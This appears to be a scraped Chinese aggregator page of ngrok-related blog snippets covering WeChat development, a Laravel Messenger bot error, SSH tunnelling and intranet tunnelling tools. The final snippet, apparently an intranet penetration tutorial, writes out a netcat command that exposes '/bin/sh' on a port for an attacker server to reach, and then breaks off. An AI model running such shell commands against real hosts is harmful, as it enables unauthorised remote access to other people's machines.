ngrok

微信公众号设置菜单,网页授权,生成二维码,推送文本图文消息实例

限于喜欢 提交于 2020-07-29 03:09:03
Weixin_Pilgrim 微信公众号设置菜单,网页授权,生成二维码,推送文本图文消息实例 仓库地址 github 仓库地址,希望给个start 申请自己微信测试账号 可以查看博客 连小白都能看懂的微信开发之测试账号申请 测试账号 连小白都能看懂的微信开发之测试账号申请 开发之环境搭建 开发之环境搭建 微信服务器配置 项目配置文件信息修改 内网穿透 内网穿透 微信服务器配置url 需要改成你自己内网穿透的url 我本机 内网穿透映射 http://asdasdad.free.idcfengye.com -> 127.0.0.1:8080 如下图 http://asdasdad.free.idcfengye.com 内网穿透的对外域名 这个要配置在配置文件里 和 微信服务器url配置里 也就是下图所示地方 127.0.0.1:8080 指的是我本机项目启动的端口 微信token配置: 配置文件和微信服务器上配置要相同如图 我的都是 test 配置校验token 编写校验url和微信服务器进行交互代码在项目controller中get方法getToken 内网穿透的域名和自己项目的url配置即可 然后启动项目 启动项目之前先把菜单和获取access_token注释了(如下代码),这里先验证本机和微信服务器token校验 com.example.wl.config

POST: 500 Internal Server Error from Messenger Bot in laravel

这一生的挚爱 提交于 2020-06-29 04:08:20
问题 I setup my Webhok by Ngrok URL for my Facebook page, and I applied all of the requirements for the Messenger Platform, but when I send the messages to my Facebook page I encounter the following error: POST /Facebook_Messenger_Token 500 Internal Server Error and in routs file in Laravel I use Get and Post functions as follow: Route::get('Facebook_Messenger_Token', 'MessengerController@index'); Route::post('Facebook_Messenger_Token', 'MessengerController@index'); When I send the messages I get

POST: 500 Internal Server Error from Messenger Bot in laravel

梦想与她 提交于 2020-06-29 04:08:12
问题 I setup my Webhok by Ngrok URL for my Facebook page, and I applied all of the requirements for the Messenger Platform, but when I send the messages to my Facebook page I encounter the following error: POST /Facebook_Messenger_Token 500 Internal Server Error and in routs file in Laravel I use Get and Post functions as follow: Route::get('Facebook_Messenger_Token', 'MessengerController@index'); Route::post('Facebook_Messenger_Token', 'MessengerController@index'); When I send the messages I get

Java 微信公众号开发_学习笔记

。_饼干妹妹 提交于 2020-05-04 04:34:41
一、课程介绍   本套课程的学习内容,开发语言   微信公众号介绍,申请以及后台设置详解   编辑模式下的消息回复,菜单建立,素材管理等   开发前的环境搭建以及工具准备   开发者模式的切换、以及消息的接收与响应   百度BAE服务器的搭建,代码上传 二、公众号与微信的区别   微信定位于聊天、朋友圈等个人娱乐   公众号定位于商业用途,达到个人品牌的推广、企业品牌宣传等 三、公众号类型介绍   账号类型一旦成功建立账号,类型不可更改(企业号、服务号与订阅号)   企业号与服务号、订阅号的区别: 企业号 服务号 订阅号 面向人群 面向企业、政府、事业单位和非政府组织,实现生产管理、协作运营的移动化 面向企业、政府或组织,用以对用户进行服务 面向媒体和个人提供一种信息传播方式 消息显示方式 出现在好友会话列表首层 出现在好友会话列表首层 折叠在订阅号目录中 消息次数限制 最高每分钟可群发200次 每月主动发送消息不超过4条 每天群发一条 验证关注身份 通讯录成员可关注 微信用户扫码即可关注 微信用户扫码即可关注 消息保密 消息可转发、分享。支持保密消息,防止成员转发 消息可转发、分享 消息可转发、分享 高级接口权限 支持 支持 不支持(微信支付、推广等) 定制应用 可根据需要定制应用,多个应用聚合成一个企业号 不支持,新增服务号需要重新关注 不支持,新增服务号需要重新关注 四

微信公众号开发(四)普通消息的接收和回复(转载)

爷,独闯天下 提交于 2020-05-04 01:52:37
从微信公众平台接口消息指南中可以了解到,当用户向公众帐号发消息时,微信服务器会将消息通过POST方式提交给我们在接口配置信息中填写的URL,而我们就需要在URL所指向的请求处理类WxServlet的doPost方法中接收消息、处理消息和响应消息。 本篇就介绍:普通消息的接收和回复; 由于时间和精力有限我在这里就引入了下面这篇文章,在此还要多多感谢该博主的文章对我的学习进步提供了很大帮助 http://www.cnblogs.com/xdp-gacl/p/5161206.html 一、微信公众平台消息管理接口介绍   要实现微信公众号的普通消息的接收和回复,我们需要先熟悉微信公众平台API中消息接口部分, 点此进入 ,点击后将进入到【消息管理】部分,如下图所示:      对于普通消息的接收和回复我们只需要关注上图中的"接收消息——接收普通消息"和"发送消息——被动回复消息" 1.1、消息接收   先来说说接收消息, 当普通微信用户向公众账号发消息时,微信服务器会先接收到用户发送的消息,然后将用户消息按照指定的XML格式组装好数据,最后POST消息的XML数据包到开发者填写的URL上。   接收到的普通消息的消息类型目前有以下几种:   1 文本消息   2 图片消息   3 语音消息   4 视频消息   5 小视频消息   6 地理位置消息   7 链接消息  

花生壳内网穿透图文教程

与世无争的帅哥 提交于 2020-04-23 16:11:30
1. 前言 最近做扫码登录功能, 就会发现一个问题, 对接第三方时会出现外网访问不到本地服务的情况; 就像我这里写个回调方法, 但是微信无法访问我本机服务啊. 是吧这样就无法进行本地调试, 直接上线或者直接提测风险很大, 怕是Bug 一堆 o(╥﹏╥)o 2. 内网穿透 2.1 解释说明 内网穿透原理是映射端口, 能让外网的电脑找到处于内网的电脑; 简单说就是局域网的服务外网访问不到,通过内网穿透技术来实现外网到内网的端口映射, 进行实现外网访问内网服务. 2.2 工具支持 市场上流行的支持内网穿透的工具包括 Ngrok, Natapp, 小米球, Sunny-Ngrok, echosite, Ssh + autossh, Lanproxy, Spike, Frp 等; 推荐使用Ngrok, 大多工具其实是基于Ngrok 进行二次开发的; 这里介绍下花生壳的内网穿透功能. 3. 花生壳内网穿透 花生壳官网: https://www.oray.com/ , 内网穿透只是他支持的其中一个业务, 本身支持功能还是很多的, 想了解的话, 可以看完这篇文章再去了解, 嘻嘻. 3.1 注册用户获取免费域名 首先注册用户(我这里从新用户开始了), 注册后微信关注公众号, 获取免费的花生壳域名, 可用. 图3-1.注册账号图 图3-2.关注公众号获取免费域名图 3.2 本机安装花生壳 beta 版

微信公众号静默注册

断了今生、忘了曾经 提交于 2020-04-20 20:46:36
内网穿透 参考 基础服务系列-Mac Ngrok 内网穿透 ,实现内网穿透。 获取外网访问地址: http://d6d940bb.ngrok.io https://d6d940bb.ngrok.io 获取测试公众号 测试号管理 ,微信扫码,获取自己的测试公众号。 测试公众号配置 接口配置信息中配置 创建测试菜单 利用 微信公众平台接口调试工具 ,创建测试菜单。 { "button": [ { "type": "click", "name": "要俩彩蛋", "key": "V1001_TODAY_MUSIC" }, { "name": "测试彩蛋", "sub_button": [ { "type": "view", "name": "测试1", "url": "https://open.weixin.qq.com/connect/oauth2/authorize?appid=wxaee4080cd8554f5d&redirect_uri=http%3a%2f%2fd6d940bb.ngrok.io%2fsuccess&response_type=code&scope=snsapi_base&state=123#wechat_redirect" } ] } ] } 静默注册 点击菜单按钮 来源: oschina 链接: https://my.oschina.net

SSH 命令的三种代理功能(-L/-R/-D)

做~自己de王妃 提交于 2020-04-20 15:41:50
ssh 命令除了登陆外还有三种代理功能: 正向代理(-L):相当于 iptable 的 port forwarding 反向代理(-R):相当于 frp 或者 ngrok socks5 代理(-D):相当于 ss/ssr 如要长期高效的服务,应使用对应的专用软件。如没法安装软件,比如当你处在限制环境下想要访问下某个不可达到的目标,或者某个临时需求,那么 ssh 就是你的兜底方案。 正向代理: 所谓“正向代理”就是在本地启动端口,把本地端口数据转发到远端。 用法1:远程端口映射到其他机器 HostB 上启动一个 PortB 端口,映射到 HostC:PortC 上,在 HostB 上运行: HostB$ ssh -L 0.0 . 0.0 :PortB:HostC:PortC user@HostC 这时访问 HostB:PortB 相当于访问 HostC:PortC(和 iptable 的 port-forwarding 类似)。 用法2:本地端口通过跳板映射到其他机器 HostA 上启动一个 PortA 端口,通过 HostB 转发到 HostC:PortC上,在 HostA 上运行: HostA$ ssh -L 0.0 . 0.0 :PortA:HostC:PortC user@HostB 这时访问 HostA:PortA 相当于访问 HostC:PortC。 两种用法的区别是

使用ngrok实现内网穿透以便外网访问

好久不见. 提交于 2020-04-19 13:56:06
1 内网穿透 当我们在本地开发Web应用时,只能在本地访问或在同一个局域网(内网)访问,这带来了极大的限制。比如手机难以访问、其它人员无法访问测试、难以提供接口给外界调用等。通过内网穿透技术,我们能把服务暴露在外网上。 世面上成功的内网穿透软件比较多,如 Ngrok 、 花生壳 、 Natapp 等,本文采用 Ngrok ,因为它足够简单易用,非常方便,有免费功能,更有高级的付费功能。 2 使用Ngrok 2.1 下载Ngrok 可以到 https://ngrok.com/download 下载,选择对应的版本。而且,它友好地在下载界面提供了简单使用教程,如下图所示: 下载后需要解压。 2.2 启动Web应用和Ngrok 本地启动了Web应用,端口为 8000 ,接着一个命令启动Ngrok如下: ngrok http 8000 启动Ngrok后: 可以看见,它是有时间限制的,每次只能使用8小时。 现在,我们就可以通过它提供的链接 http://03cb1b6b.ngrok.io 在外网访问了。同时,Ngrok还提供了UI给用户观察请求详情: http://localhost:4040/inspect/http ,可以看历史请求、请求重发、request和response详情: 2.3 地区修改 通过增加参数 -region=ap 可以指定地区,默认为 us 。可支持的区域如下:

内网安全:03.对内网主机的端口进行探测

时光总嘲笑我的痴心妄想 提交于 2020-04-18 15:30:32
目录: lcx端口反向转发、搭建ngrok内网穿透转发端口、proxychains扫描内网主机 叙述: 有时候我们常常会在** 的时候,碰到一个内网环境。有一些端口是只有内部才能够访问到的,那么,我们为了访问到这个端口,就需要对端口进行转发。。。 当然,这有一个前提:内网的主机能够与外网相连接-------& bugfor首发:槿华*& 当然,如果碰到内网主机无法访问外网的情况,咱们就使用“proxychains扫描内网主机”,稍后也会描述这个方法 0x0 环境 内网:180.101.148.103 内网主机A(web服务器):172.19.0.3 他把80端口通过路由映射到外网 内网主机B(linux):172.19.0.2 他把端口22通过路由映射到外网 内网主机C(linux):172.19.0.1 ***机服务器:49.233.160.31 0x1 netcat、lcx端口反向转发 需要用到的东西:netcat工具、lcx工具、一台远程服务器 前提:内网的主机能够与外网相连接 **·linux主机映射shell窗口到* 机服务器(使用netcat) 远程服务器开启一个nc: nc.exe -n -vv -l -p 8888 #开启nc监听8888端口 内网主机反弹shell到 远程服务器的8888端口: nc -l -p 8888 -t -e /bin/sh **